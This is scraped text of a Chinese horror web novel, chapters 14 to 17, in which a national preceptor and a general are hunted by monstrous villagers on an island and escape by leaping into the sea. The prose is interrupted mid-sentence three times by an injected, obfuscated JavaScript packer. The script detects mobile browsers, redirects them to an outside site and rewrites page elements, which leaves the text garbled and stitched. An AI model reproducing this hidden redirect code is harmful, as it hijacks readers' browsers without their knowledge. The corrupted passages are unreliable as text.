萧明灿再次扣动扳扣,解决了檀妄生附近的几个村民。她走向他,看了眼山坡,“四个拿着火铳的人,看来将军对于火铳的管理——” 她没说下去,看向檀妄生不断渗血的胳膊。 紧接着,山坡忽然传来一声刺耳的尖叫。一道身影以匍匐的姿势迅疾地爬下山坡。檀妄生当即开枪,却发现已经耗尽了最后的火药。 那怪物嘴里撕心裂肺地喊着:“偿命!偿命……偿命!”无视了地上的火铳,从山石上跳了下来,又摔在泥地上。它的一只手似乎因此折断了,但速度却丝毫未减。 檀妄生抽出萧明灿腰侧的匕首,然而紧接着,耳边再次传来一声炸响。那距离两人几步远的黑影陡然倒地,鲜血像水流一样从创口喷出。 闪电刺破云层,劈向了海面。萧明灿紧握着火铳的手微微颤抖起来。她紧盯着那具尸体,一瞬间的光亮里,看清了它的脸,和它身上的每一处狰狞伤口。 她张了张口,却被捂住了眼睛。 “嘘……嘘……嘘——” 檀妄生慢慢地、慢慢地拿下她手里的短管铳,轻而缓地说:“国师可要小心了。当你感到恐惧的时候,那就是你的死期。” 尖叫声填满了这片枯树丛。 14. 窥探 如果说刚刚在荒村时经历的那种感觉,可以定义为荒诞又莫名其妙的不真实感的话,那么此时此刻的这种感觉又是什么呢? 恐惧?模糊的不安?毛骨悚然的惊惶? 萧明灿说不清楚。也许之前登岛的那近百人也没办法说清楚,毕竟无论是那个手脚俱断,匍匐在地,撕心裂肺地喊着“偿命”的老妇人,还是那个拿着火铳,试图藏在山坡上袭击她和檀妄生的枯瘦青年,眼前所有怪诞的一切,都远不能用在城中生活过、学到的任何经验作出解释。 她只知道,这种感觉就像是从高耸的陡坡上翻滚而下,这一路上布满了各种难以预料的危险:树干,山石,地上尖锐的树枝,甚至是潜伏在枯叶下的蛇。它们时刻都在等待着取人性命。她不知何时就会一头撞上哪里。但最糟糕的并不是这遍布坡道的危险,而是她在毫无预料的情况下,就失足滚下了山坡。 就像是一场一旦开始就无法停止的游戏。 虽然直到目前为止,她都顺利躲过了那些危险,但……谁知道呢?也许下一个瞬间,她就会撞上更令人难以接受的事情——正如她所想的那样,这就像是从山顶坠下,你永远也没办法预料到接下来会发生什么。 就比如说此时此刻。 那吊诡的童谣终于停止了,但那些孩童却没有逃走,而是躲在周围小心翼翼地窥视着两人。萧明灿扶着树干。这条山路并不好走,雨水浇灌后的泥地更是寸步难行,而萧明灿每踏出一步,都能感觉到那些躲在附近的孩童,正随着她的脚步如泥塑木雕般僵硬地转动脑袋。 “……就当它们只是些爱看热闹的海鸟,”身后的檀妄生懒洋洋地说:“这样想的话,国师会轻松很多。” 当他说这话的时候,山坡下那些穷追不舍的怪物还在发出模糊却难以忽视的呓语。这声音和它们张牙舞爪攀爬山坡的声音融在了一起,听起来就像是个贪婪的无嘴怪物在雨中唆食着血肉。 萧明灿无视了这个关于“海鸟”的提议。远处的闷雷时不时闪过。她试图去回想离开那间荒屋后所发生的一切,尽管这场大雨和刚刚的“厮杀”让她头脑开始发沉,但回忆起来仍不算什么难事。有时即便你不去想,恐惧的记忆也会主动来找你。 重要的是,事情是从什么时候开始变得棘手的? ——当那个提着头颅的随从堵在他们面前,当檀妄生当着周围村民的面举起那把火铳的时候。 因为随从被一枪崩了脑袋,导致那些原本呆滞的村民突然陷入癫狂,她和檀妄生想要顺着石板路跑到岛中心,却遇到了堵路的另一伙非人怪物。火铳加上后面的村民,两人腹背受敌,只能往林深处跑,之后就落得了此时此刻这样的处境。 导致这一棘手问题出现的关键之处在哪? 是影将军吗? 因为影将军在操控那随从突然挡在路上,继而制造出名正言顺杀掉那随从的理由,然后让那些村民因为发狂而追杀两人,接着又操控那几个怪物拿着火铳在石板路前围堵两人,以至她和檀妄生只能跑到林深处……不,不对。这简直太匪夷所思了。 如果影将军真有控制那东西的能耐,早就成为这天下霸主了,何必被困在这座岛上和她玩“逃生游戏”? 那如果把这个目的不明的影将军排除在外呢? 不去思考他到底有何目的,无论是精心编排的一场游戏,还是即兴的恶趣味,亦或是藏在两者伪装下真正不为人知的打算……假设,假设影将军没有任何私心,那么这整件事情里,那种说不上来的蹊跷之处到底在哪? 萧明灿抬起眼,看向上方模糊的山头轮廓,那附近的枯树后还横卡着几具被打穿脖子或脑袋的尸体,粘稠且浑浊的黑暗正包裹着它们,以至那几双垂出树干的腿看起来就像是某种怪异而长满荆棘的藤蔓。 萧明灿的后肩被人轻拍了拍。 “……想什么呢?” 檀妄生走得比她要慢几步,手里拿着把从山坡上捡来的火铳,而另一只手则握着刚从前膛拆出来的铁弹。他把铁弹收进腰侧革袋里,随手把那造工精细的火铳往后一扔,泰然自若到就好像他不是在那些非人之物的追逐下逃命,而是刚刚抢掠完一座村子,被无辜又可怜的村民追着要回财物的土匪。 他道:“即便我想着要让国师把那些怪物当成海鸟,可国师未免也太认真了些。我都叫国师好几遍了。若是周围真冲出来什么东西,到时国师可就麻烦了。” 萧明灿停住了脚步,静静看了眼他被雨浇透的右臂。她隐约能看到那黑色布料下的肌肉轮廓,水珠沿着他的袖管一路下淌,在他指尖汇聚成滴。也许那并不是雨珠,而是从伤口渗流而出的血水。 “国师应该不是在担心我身上的伤吧?”檀妄生笑笑,说:“难道是在犹豫要不要干脆就这样把我踢下去?” “将军想多了,”萧明灿继续往上走,“我不是那种会随意杀人的人。” 檀妄生稍微偏头,看了眼下方手脚并用往上爬的村民,“即便国师明知道它们很快就会追上来?这段路可不好走,脚下稍微一滑,就有可能滚到山底。国师现在全身疼得厉害吧?猜猜看,我们还有多久会被这群感知不到疼痛的怪物追上?” 萧明灿继续走着,没有回头,“……若是真到了那种关头,将军会乖乖任由我这么做吗?” 檀妄生想了想,坦然说:“七年前,我曾在堆埋近千人的尸坑里呆了两天两夜,躺在那里的感觉应该和那尸坑没什么不同——不过呢,” 他微笑起来,看向萧明灿的背影,说:“我会在那之前就拉住国师,就像国师刚刚牵着我一样。有国师这么漂亮又有趣的人作陪,即便去的地方是地狱,我应该也会很开心。” 寒风呼啸着穿梭在林中。此时此刻,两人已经行至半山坡,只要一转头,就能看见几步外的断崖,翻涌的海面沉浸在一片夜色里,放眼望去不见一点光亮,黑暗就像一堵挡在海岛四周无法穿透的厚墙。 而比这更压抑的,是身后那些咕哝般的怪语声。 有那么一瞬间,萧明灿真的觉得这就是檀妄生所说的“地狱”,“……所以,这就是它们的攻击方式吗?”她低声开口,“不断地制造一次又一次的袭击、追逐,直到对方因为恐惧神志不清,落进它们的围堵里,然后杀掉他们?” “就像围追鹿的豺狼那样?”檀妄生干脆利落地卸掉前膛的铁弹,再次把捡来的火铳扔下山。那些将要爬到半坡的村民动作一停,紧接着就像是寻找玩偶的孩子般呜呜咽咽地去抓滚落在地的火铳。他好奇地问:“国师为何会如此笃定,当它们抓到我们后,就一定会杀了我们呢?” “将军说过,它们喜欢吃新鲜的肉。” 檀妄生笑了笑,道:“还记得我们第一次遇见那几个端着火铳的人吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它们在寻找目标心底最恐惧的东西。 如果这是一个“考验”,那么从石板路的围堵,枯树丛尽头的选择,再到山坡上希望出现后的绝望,就是一次又一次的考验……又或是试探? 但是,那些拿着火铳的怪物是如何知道他们会从荒村逃离,又是如何推测出他们逃跑路线的? 难道是小女孩的那声尖叫? 但它们和村头隔着半座山的距离,当时又下着暴雨,尖叫传到石阶那边时听起来已经和风声呼啸无异,那群怪物的耳力真的会这么好吗? 未免有些牵强了。 此时,雨势正逐渐减弱,头顶几节扭曲的树梢在风中胡乱摆动。 萧明灿扶着一旁的树干,倾身去拿卡在石边的火铳。正当她准备转身递给檀妄生时,余光一瞥,忽然停下了动作。 她抬指勾住扳扣,缓缓转过头,终于看向悬崖边那道站在树后的人影。 人影也在直勾勾地盯着她。 那根本就不是什么孩童。 而是一个四肢关节处尽断,脊背佝偻的男人。 ……如果说,它们之所以能策划出这场环环相扣的围杀,是因为有“人”一直在暗处观察着他们的一举一动呢? 15. 考验 萧明灿很难把目光从那四肢残缺的男人身上移开。 天空乌云密布。入夜后的黑影紧紧缠裹着男人的上半身,使得他的面容就像被幕布罩住的石雕般朦胧不清。他的身躯残破,关节末端是尖细而模糊的长影,有如孩童稚嫩的双臂。 是什么让他落得如此下场? 从山崖上一坠而下?在海中不幸遭遇了鲛鲨的袭击?又或是被某种类似铁锹的钝物—— 这或许就是让人难以挪开目光的原因。人们当然会本能地惧怕这些残忍而血腥的伤口,但大多数人看到这些时,真正的第一反应并不是避开,而是不由自主地想要弄清这些狰狞背后的来由或真相,哪怕他们会觉得这副场面惊骇得令人作呕。就好像那其中蕴藏着某种吸引人的魔力一样。 萧明灿试图回想着“他”刚刚在泥泞的树丛里,模仿孩童蹦蹦跳跳的模样。 “……国师知道吗?” 檀妄生顺着目光瞧了眼那道站在崖边的身影,堪称是善意地提醒:“对于它们来说,这其实也是一种制造恐惧的方式。” 萧明灿食指骤然松开扳扣,移开了视线。她握住火铳枪管,递给檀妄生,想着之前那个剜眼侍卫出现的幻觉,“……在槐树下的那两人就是这么出事的吗?” 檀妄生目光短暂地在她泛着白痕的手指上停留了一瞬,接过火铳,点点头道:“山顶上埋着的那些尸体大都是这样。因为看到了太多无法用常理来解释的事,导致精神一天比一天紧绷。你看,” 他单臂前伸,举起火铳,做出类似拉弓的姿势,“这就像是拉到极致的弓弦,你不可能一直保持原状,要么释放出去,要么让弓弦崩断。而这个时候,只需要一点点外力,比如从远方吹来的冷风,又或是一把飞掷而来的刀刃……” 萧明灿继续前走,接话道:“无论如何,当他们失去那根‘弦’的时候,就是那些怪物取走他们性命的时候?” “没错。” 话音落地,檀妄生朝萧明灿干脆利落地扣动扳扣。 萧明灿脚步微顿,斜前方一道挂在树梢上的黑影闷声跌落,接着一路滚到山下。被它撞到的树干留下一抹暗沉的血红。 “当然,从那些怪物的角度来说,这种积累恐惧的过程,就像是在做一锅美味的炖肉。”檀妄生看了眼旁边石头上磕出来的血沫,“首先呢,需要将肉倒进过锅中,加水,放些乱七八糟的配菜,等待着肉一点点熟透。最后再在熟肉将要出锅时撒上一把调料。这样一来——” 与此同时,周围原本藏在暗处的阴影因为同伴的死亡逐渐慌乱起来,它们开始四处攒动,在树干缝隙之间晃出漆黑的残影,像是林中被惊扰的鸟雀。 如同呜咽的惊呼在山坡上回荡着。 檀妄生适时补充道:“一顿‘新鲜’的大餐就做好了。” 萧明灿觉得这个描述有点反胃,但更多的是头晕目眩。她分不清是因为这些围绕在他们四周像蚊虫一样的鬼影,还是淋雨后的体力不支,或许二者皆有。她沉默了片刻,低声说:“所以,它们会在接下来的路上一直给我们制造陷阱,直到我们成为它们的……” 她略微停顿了一下,道:“盘中餐。又或者,我们杀了‘他们’所有人?” 檀妄生点头,“就像我们刚刚说的那样,如果这是场‘狼捉羊’的游戏,那么这就是结束游戏的关键……不过,既然知道了游戏的规则,国师不想猜猜看,山顶上到底有什么吗?” 萧明灿望向几十步远的小山顶,那里时不时还有几道模糊的黑影来回跑动。也许是因为对火铳的惧怕,又或是因为那些只会呜咽的怪物根本没有任何攻击的能力,总之,当它们意识到他们正在一点点靠近时,反而像老鼠一样四散着逃离。 雨声像送葬曲一样在耳畔飘荡。 萧明灿放慢了脚步,偏头说:“应该不会是另一伙拿着火铳的人吧?” “当然不会。”檀妄生就跟在萧明灿身后。从逃命的角度来看,她的步子并不算快,甚至可以称得上是缓慢——理应如此,这条路本就不好走,如今周围又潜伏着无法确定的危险,谨慎一点总没有错。 他就这么耐心地跟着她,稍稍抬起逐渐麻木的左手,轻捻了捻从伤口一路淌下的血水,有问必答道:“从三个月前到现在,在这座岛上失踪的人有十二个,其中十人拿着火铳。国师放心,我刚刚数了下,正好十支,不多不少。” 即便如此,萧明灿也没觉得放松。 那些人在三个月前就已经失踪,按照影将军处理尸首和找人的速度,即便当天因为某种原因无法救人,第二天也一定会搜遍整座岛。既然没找到,就说明那些怪物手握火铳至少已经三个月有余。 可这些火铳却在今日突然出现,这意味着什么? 一是今日这场围堵对它们来说,是时隔三个月以来唯一一次能用火铳的机会……或者说,是能够接近影将军的机会。如果把人比作……“肉”的话,那么檀妄生对它们来说就是一块最让人垂涎的“红烧肉”。所以,它们才会在这次的“捕猎”里把火铳拿出来。 二是火铳虽对他们来说是杀伤性极强的武器,但对它们来说倒更像是皇宫里的那把重达百斤的帝王弓,而它们不是帝王,也不是肌肉结实的战士——这对它们来说仅仅只是华而不实的摆件:发射后的惯力极大,一不小心就会误伤到同伴,甚至远不如那村民手里的铁锹用着顺手。 而它们现在之所以一股脑地全拿出来,仅仅只是想逼退檀妄生,让他逃到崖边的死路上去。 三是…… 萧明灿看向远处微微晃动的人影,沉吟片刻,轻轻低喃道:“它们既然怕成这样也没有离开,就说明这场游戏还没有结束。火铳虽然会让我们忌惮,但对它们来说也只是吓唬人的东西,并没什么太大的用处。毕竟,它们需要制造恐惧来占领身体,而不是给对方打成一滩碎肉……所以,” 她看向十步之遥的山顶,无声呼了口气,“它们一定会在接下来制造出比火铳更棘手的麻烦。” 所以萧明灿做足了心理准备。 她甚至为此想象了很多个足以令人心脏停跳的场面。 比如,突然从树顶荡下的肠子;不经意间一抬头,就会看到熟悉的官员或侍卫的头颅悬挂在树梢,又随着风微微摇动,她刚刚为什么没有注意到这些?或许因为他们的头颅被斩断了一半,以至从远处看上去就像被几片残叶压弯的树梢。 又或者是一群更令 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最前面的几个怪物怔愣了一下,接着又争先去抢那把火铳。包围短暂地陷入了停顿。但这并不意味着那些人会有生机,相反,还有十几道人影正从百步远之外的荒村里摇摇晃晃地走向包围圈。 “……如果恐惧是门学问的话,”檀妄生甚至还有闲情感慨道:“那它们一定会是状元。” 萧明灿向前一步,却被握住了手腕。檀妄生道:“国师忘记了吗?游戏还没有结束。” 萧明灿紧盯着言生和那几个随从。 他稍抬下把,看向旁边一处弯弯绕绕的小径,继而示意那条通往荒村的石路,道:“如果我们现在顺着这条路走,肯定会撞上那群鬼东西。但如果我们稍微放缓一下速度,比如绕个远路,等着那群怪物彻底包围他们,我们就有机会趁乱穿过荒村,回到岛中心。只要去了那里,我们就安全了……不过,” 他看向萧明灿,慢慢地说:“因为那些怪物需要身体,所以它们一会想方设法地让他们崩溃。我们刚刚说过,身体上的疼痛是让他们感到恐惧的最有效的方式。所以,当国师经过荒村时,一定会听到你的侍卫喊出的足以让人做一辈子噩梦的惨叫和求救声。” 萧明灿没有说话。 檀妄生瞧了眼身后还在爬动的村民,“……国师知道吗?这不是诏狱里的酷刑,没有任何人问他们交代什么。也不是在街头遇到的地痞恶霸,她不会知道自己被攻击的原因。”他说,“她面临的是某种邪恶又未知的东西。这种突如其来是怪诞和濒临死亡的恐惧足够能击垮一个人。哪怕她是国师最看好的侍卫。” 身后咕哝般的呓语声越来越近。一阵长久的沉默后,萧明灿低声道:“如果我不这么做呢?” “很简单。”檀妄生把火铳递给她,“冲着那边的人群里开上几枪。让它们发现我们不仅还活着,甚至就站在这里。到时它们就会转移目标,而那些人也有了活下去的机会。” 萧明灿看着那被雨浇得微亮的长管铳,没有去拿。 檀妄生就站在她旁边,戏外人一样耐心地等待着。 “从小一同长大的侍卫和自己的性命。国师会怎么选择呢?” 16. 抉择 荒村里的黑影跌跌撞撞地融进人群。断崖边缘,火铳随着每一次砰响擦出微弱的光亮,仿佛狂风里摇摇欲熄的残烛。 他们被逼得退无可退,而不断靠拢的人却发出低低的悲鸣,犹如因冤屈而死的亡魂,又像是被人虐打的动物,在黑暗中寻求那一丝光亮。声音微小而平稳,如同一种乐律般逐渐递进到雨声中。 下一刻,又被火铳接连的砰响乍然撕裂。 萧明灿没有做出任何选择。 她看着远方渐渐缩小的包围,双眼被埋在雪白的兜帽下。在这刻不容缓的紧迫里,她却足足等了半晌,才开口道:“如果是将军的话,会怎么选?” “这要看国师问的是什么了。最亲近的下属还是自己?良知还是性命?” 檀妄生仍端着那把火铳,“如果是第一种的话……国师心里应该已经有答案了。就算他们活下去,事情也不会有任何改变。接下来的每一个雨天,她都会时刻面临这种困境,除非她离开这座岛。但即便离开这座岛,问题就能解决吗?边境战争不断,她只是国师的贴身侍卫,又能在皇城里安稳多久?” 他看着萧明灿,几乎算得上是贴心地解释道:“如果是第二种,就更好办了。只要国师不插手,只走自己的路,‘顺其自然’地让那群怪物吞噬掉他们便可。某种意义上来说,国师并没有杀他们,也不必为此感到自责……当然,”他微笑起来,“如果国师有这种感情的话。” 这其实是一个非常简单的选择。 萧明灿来到这座岛的目的有很多,比如带走影将军,比如找到之前失踪的近百人,现在倒有了个更重要的任务,弄清岛上所发生的一切。赵明安和陈四的两位夫人死因蹊跷离奇,这意味着皇城也即将陷入和海岛一样的动荡……边境战争突然频发是否也和这些怪物有关联? 毕竟战场是制造恐惧的最好方式。 如果五年前这座渔村爆发出的不明疫病就是这些怪物的话,那么这座岛上很有可能就藏着能对付那些怪物的关键。 无论出自理智还是感情,她都不可能随意牺牲自己。 这个时候,有几个村民已经摇摇晃晃爬到了山上,它们手里都拿着火铳,食指不停扣动扳扣,可枪管却朝着四周茫然挥舞,就像是个刚从伙房出来,并且正准备把菜刀当玩具玩的孩子。 萧明灿再次看向那片荒村。那里的村民已经离开得差不多了,而围聚的人群则越来越多,越来越密集,仿佛聚在腐烂苹果周围的蝇虫。几声砰响后,包围最前排的两三个人影纸片般颓然倒下。人群因此僵停了片刻,又继续向言生他们围拢。 萧明灿目光转向下方空无一人的石板路,深吸一口气,左手提着衣摆,右手扶上周围的树干,试着往山下走。 檀妄生看了眼身侧那条更容易走的弯绕小径,挑了挑眉,没有动。 萧明灿停下脚步,看他一眼,“这是最快的路了。” “但不是条安全的路。”檀妄生瞥了眼手里的长管铳,轻笑一声,懒懒散散地跟在了她身后。 这的确不是条安全的路。 下山的坡道虽远没有上山时陡峭,但也没有像槐树山那样有一条人走出过的小路。地上铺着一层杂草和石子,一脚踩上去,陷进泥地的木枝就会跟着靴底微微前滑。 冷风从侧方推着他们,就像是话本里那些藏在人们身后,伺机制造意外的无形之手。萧明灿有几次要靠双手扶着树干才能站稳。雨仍在下。远处藏在雨中的哭吟断断续续地传来。张牙舞爪的树枝取代浓云,重新组成了天空。 两人就这样一路无言走到了半山处,村民连不成句的话还在山顶飘荡,接着又被几道闷雷盖过。 片刻后,萧明灿忽然开口:“……这并不算简单,对吗?” “什么?” 萧明灿没有回头,“三年前,将军在第一次做出选择之后,曾试图用刀割开自己的脖子,不是吗?” 檀妄生没有说话,慢悠悠地摸了摸扳扣。 远处火铳的声音仍时不时传来。这个高度,萧明灿能看到的也只有最外面人群的背影。它们的影子在昏暗里摇摇晃晃,又被山坡上一道道树干分开,仿佛监牢里的囚犯。 “所以,这就是将军在暴雨来临前带我去那个荒屋的目的吗?”萧明灿说:“想利用那些东西,来看看我最恐惧的到底是什么?” 山顶的村民还在追逐着两人。最前面的几人因为速度过快,身形不稳,直接从山上一路滚了下来。萧明灿能听见血肉砸在山石时的每一次闷响,也能听到骨头被折断时发出的脆响——也许这些声音只出自于她脑海里的想象。总之,当萧明灿再抬眼时,石板路上多了几道像虫子般呜咽着蠕动的黑影。 萧明灿没再多看,加快了脚步。 “……或者可以说,”檀妄生跟在萧明灿身后,“想知道国师最在意的是什么?” 身后的村民一个接一个从山顶滑落,其中几人奇迹般地没摔断手脚,在地上挣扎着想要起来。萧明灿说:“如果将军想知道的话,我完全可以告诉将军。何必费这么大周折?” 檀妄生瞥了眼旁边撞在树干上断了脊椎的尸体,笑了笑,“……国师真的会告诉我实话吗?” 萧明灿走到山下,跨过缓缓蔓延的血泊,看向侧方尽头的那些挪动的背影。 火铳的声音不知何时已经彻底消失了。 他们用刀能坚持多久? “恐惧会让一个人变得坦诚。就像我脖子上的伤口一样。”檀妄生走下山坡,掂了掂手里的火铳,用枪管干净利落地砸塌了脚边转动的脑袋。鲜血猛地溅向他的下颌,又随着雨水缓缓漫过颈前的那道伤疤。 他走到萧明灿身边,懒洋洋地瞧着斜侧方一片荒凉的屋子,低声说:“国师觉得,我会让一个我毫不了解的人知道这座岛的真相吗?如果你哪天被恐惧侵蚀,成为了那怪物能读取记忆的器皿,皇上的江山可就完了。” “皇上的江山?”兜帽下的萧明灿轻轻笑了一声,往前走着,道:“我还以为,将军守的其实是太傅的江山。” 檀妄生也笑了,“还真是天高皇帝远,什么话都敢说啊。要是有人听国师说了这话,恐怕一定会觉得我们北洛要完蛋了——不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766370|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,” 他停顿了一下,然后才说:“说不定也是我的江山?”他就这么看着萧明灿停下脚步,慢慢地道:“我知道那些怪物的秘密,也比任何人都要了解它们。我甚至可以利用那些怪物来打造国师认为的‘游戏’……也许就像国师所说,我就是那个该死的牧羊人,它们就是我最亲切的羔羊。我比任何人都有胜算,国师觉得呢?” 萧明灿终于抬起眼。那兜帽随着她的动作稍稍后移。雨珠从额发下滴落,划过她的眉峰,眼角,继而是苍白的脸颊。檀妄生凝视着那双明净的眼睛,里面没有一丝被愚弄的愤怒或怨恨,也没有刻意伪装的冷淡或漠然。 檀妄生觉得,如果现在有一个四五岁的孩子在她面前无赖耍闹的话,她就会露出现在这种平和又宽容的目光。 明明他比她要高得多。 国师生气的时候会是什么样子? 他感到有些遗憾。 檀妄生后退了两步,身后就是断崖。他摇了摇头,道:“国师应该不会想这么做的。” 萧明灿转头看向远处的人群。没有惨叫声就意味着言生他们暂时无恙,但能坚持多久?那群村民仍在追着她,那些像孩童一样窥伺的怪物呢?它们就藏在山顶上。 “将军不是说过吗?这场游戏结束的关键只有死亡。”萧明灿转过身,“只要那些像孩子一样窥探的怪物还在,游戏就永远也不会结束。” 檀妄生想要做些什么,却发现右臂的速度明显变得迟钝,刚刚砸得太狠了吗?他这么想着,萧明灿轻易抽走了他手里的火铳,朝着人群走了几步,扣动扳扣。 火铳声霎时如同阵雷般响起。人群中有几道人影倒下,因为没有射中要害,它们后知后觉地在地上抖动两下,接着发出刺耳的尖叫。周围几人开始朝着萧明灿走来。 几个从山坡爬下的村民也颤颤巍巍站起来,嘴里发出和那些人同样的尖叫,仿佛野兽之间的信号。萧明灿深吸了一口气,接着架起火铳,瞄准山顶那几道人影。 砰、砰、砰—— 几个孩童高矮的人哀嚎着从树梢坠落。山顶上的人影再次混乱地跑动起来,没再去看山下的两人。 檀妄生就站在原地,饶有兴味地看着这一幕。同时,萧明灿再次瞄准山顶。 咔嚓、咔嚓—— 被雨浇透的长管铳彻底丧失作用。她在转过身时已经解下狐裘,朝着檀妄生大步走去。身后一道闪电锋利地刺向海面,映亮了她那双眼睛。 萧明灿紧压着檀妄生的伤口,一手攥着他的衣领,带着他后退。 “一起下地狱吧。” 檀妄生笑了起来。他就这么任由萧明灿把自己推到悬崖,石子随着他的脚步滚落。越来越多的黑影正向他们聚拢。两人的发丝在风中交缠、分离。檀妄生在悬空时一把扣住了萧明灿的胳膊,两人距离拉近,他终于如愿在她眼底看到了一种不切实际的疯狂。 尖叫声撕裂了雨幕。 用四肢爬行的村民终于赶到了空无一人的崖边,它左右张望,又低头看向一片漆黑的海面。 它再次发出尖叫。 17. 逢生 正如影将军所言,这座与世隔绝的孤岛有很多常人难以踏足的地方,也有不少能够躲藏的洞穴。就比如说他们脚下那处悬在峭壁之中的山洞。 萧明灿在登岛前就已经将这座岛的大概分布熟记于心,也特意背过几个适合藏人的地方来以防万一。但无论是山坡的一处荒屋,还是村庄里的某个枯井,亦或是礁石旁边的山洞,他们脚下的洞穴绝不在这其中。 因为实在是太危险了。 海水浸没身体的瞬间,像是落进由数以万计刀刃组成的峡谷。刺骨的寒冷让萧明灿意识到自己还活着,而不是被某处暗礁撞成一摊血肉。雨夜下,潜在海里的感觉就像是在一个无边无际的棺材里前行,她在胡乱摸寻中抓住了檀妄生外袍的一角。 海下近一层楼深的地方有一个水中洞。萧明灿在这之前只在图上见过它的位置,但实际找起来远比想象中要难得多。她尽量不去思考那个最坏的结果。黑暗中,她能感觉到有什么东西正在她头顶坠落,水泡在余光里急速上窜。也许是那些追逐过来的怪物。 她手里抓着的说不定就是那些怪物的其中一员。那么,檀妄生在哪? 或许已经被暗流卷走了,又或是先他一步找到了安全之处。他不是比她更了解这个岛吗? 萧明灿没有松手。 身后闷闷的落水声逐渐消失,也许从来都没有什么落水声。她的大脑开始发沉,身体下意识地想要去汲取空气,动作却越来越慢。 很快,她连声音也听不到了,黑暗像是粘稠的泥沼一样裹挟全身。她有些不确定自己是否还在游动。仅剩的意识里,她忽然想到了街边卖的那种泥塑人像。海水骤然涌进鼻腔—— 萧明灿猛地探出水面,伏在岸边剧烈呛咳。 檀妄生跟在她身后,比她要好一些,只缓了一会儿,就撑身上了岸。他随手捋了把湿透的额发,呼了口气,感慨道:“……国师刚刚在海里迷了两次路,只要再慢那么几步,就会和那群怪物一起葬身海底。我们国师真的是一个很可怕的人。” “……走投无路的不得已而已。” 萧明灿拉住檀妄生伸过来的那只手,上岸后又缓了足足片刻,才蹭掉脸上的水珠,淡淡道:“要说可怕,也远没有利用想要虐|杀自己的怪物来打造‘逃生游戏’的人可怕。将军险些被那群怪物用自己制造的火铳崩了脑袋……游戏玩得开心吗?” “单论结果的话,其实并不算糟糕。”檀妄生瞧了眼四周漆黑的石壁,坦然道,“虽然过程有些惊险,但我总算拿回了那些丢失的火铳,解决了困扰我近三个月的隐患。况且,我们刚刚险些就要和国师手牵着手一同葬身海底,成为世间流传的一段奇闻佳话……” 洞中狭窄得几乎没什么落脚之处,反而那用海水填灌的“深潭”大得出奇。他跟在萧明灿身后,感觉像是在一口铁锅的边缘行走。 “国师知道吗?那种知道自己死后即将青史留名的感觉真的很让人……”他想了个措辞,“兴奋。就好像你会永远存在于这个世界上一样。” “这就是将军刚刚在海里感悟到的吗?”萧明灿一哂,“成为世间一段找不到任何依据来源的野史丑角?” “正是因为找不到明确证据来源,才更有乐趣。” 檀妄生闲聊似的说:“如果运气好的话,那些人兴许能在这附近捞到两具的尸体。国师和一个罪臣死在一起,甚至还紧牵着手?” 他笑了笑,“比起一起逃命,他们一定更愿意相信这是一场谋划已久的‘殉情’。因为在得知我们死讯后不久,皇城就会陷入一场史无前例的灾难,国破民亡,快到甚至来不及他们反应。” 萧明灿听到后一句话时明显偏了偏头,似乎想要说什么,但最终什么也没说出口。 檀妄生说:“他们想要在绝望下找到些出路,就像此时此刻的我们一样。于是他们会开始回想这座岛上发生的一切。最终他们还是把关键停留在了最未知,最让他们感到意外的事上。在皇城毫无关系,甚至可以说是关系不和的两人,为什么会同时跳海?” 萧明灿静了片刻,似乎明白了什么,道:“所以,他们会觉得我们才是主谋。” 但重点在于,最终他们一定会认为,国师才是制造这一切灾难的主谋。 毕竟,当年她进那诏狱后不久,无论问什么都闭口不言的影将军就突然一反常态,主动交代了营啸一事的情况,才暂且平息了宫中伺机涌动的暗潮。 而多年后的又一次,在近百人突然杳无音信的情况下,国师再次登岛,虽说的确有了消息,但同样也给皇城带来了灭顶之灾。那些不人不鬼的怪物是怎么回事? 也许是国师和影将军密谋多年的……一个“诅咒”,一场“祭祀”? “他们定然会以为国师此前的善良亲和都是装出来的。”檀妄生看着萧明灿的背影,“……我猜,国师心里一定想,这又是那个罪臣恶趣味的玩笑了。” “我没这么想。” 与此同时,两人走到了窄路的尽头。尽头上方有一处天然形成的豁口,不大不小,刚好容纳一人进出。洞口下面还摆着两三块不知从哪搬来的垫脚石,想来早就有人来过这个地方。 萧明灿攀上洞口,接着伸手把檀妄生也拉了上来。她看了眼檀妄生的右手,洞穴深处光线昏暗,她很难分辨他手背上的究竟是水珠还是血。 雨声变得更加清晰。这山洞就在礁石上方不远,甚至还能听到海浪声。萧明灿环顾四周,借着洞口那点微弱的光,走向堆在石壁边的那几件染血衣袍。 “……国师何必赌这一局呢?”檀妄生懒洋洋地叹了一声,靠坐在石壁边,看了眼洞口外的雨幕,“只要穿过那片荒村,再走过一条盘山小路,就能抵达岛中心。到时,无论是那些丧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779261|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失理智的怪物还是只会窥伺的活死人,它们都无法靠近岛中心半步。” 